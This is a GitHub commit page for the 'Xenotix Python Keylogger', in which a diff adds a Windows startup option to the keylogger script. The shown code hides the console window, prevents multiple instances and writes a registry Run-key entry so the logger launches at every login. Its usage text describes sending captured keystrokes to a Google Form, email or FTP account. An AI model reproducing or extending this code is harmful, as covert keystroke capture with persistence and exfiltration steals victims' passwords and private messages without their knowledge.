Skip to content

Commit

Permalink
Run on Windows startup functionality added
Browse files Browse the repository at this point in the history
  • Loading branch information
kashsingh committed Jul 25, 2015
1 parent f8bc080 commit e6faae8
Showing 1 changed file with 31 additions and 4 deletions.
35 changes: 31 additions & 4 deletions xenotix_python_logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,7 @@
import ftplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *

#Disallowing Multiple Instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
Expand All @@ -54,20 +55,38 @@ def hide():
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True

def msg():
print """Xenotix Python Keylogger for Windows
print """\n \nXenotix Python Keylogger for Windows
Coder: Ajin Abraham <ajin25@gmail.com>
OPENSECURITY.IN
usage:xenotix_python_logger.py mode
usage:xenotix_python_logger.py mode [optional:startup]
mode:
local: store the logs in a file [keylogs.txt]
remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
"""
[optional] startup: This will add the keylogger to windows startup.\n\n"""
return True

# Add to startup
def addStartup():
fp=os.path.dirname(os.path.realpath(__file__))
file_name=sys.argv[0].split("\\")[-1]
new_file_path=fp+"\\"+file_name
keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

key2change= OpenKey(HKEY_CURRENT_USER,
keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)

#Local Keylogger
def local():
global data
Expand Down Expand Up @@ -167,6 +186,12 @@ def main():
msg()
exit(0)
else:
if len(sys.argv)>2:
if sys.argv[2]=="startup":
addStartup()
else:
msg()
exit(0)
if sys.argv[1]=="local":
x=1
hide()
Expand All @@ -184,7 +209,9 @@ def main():
msg()
exit(0)
return True
main()

if __name__ == '__main__':
main()

def keypressed(event):
global x,data
Expand Down

0 comments on commit e6faae8

Please sign in to comment.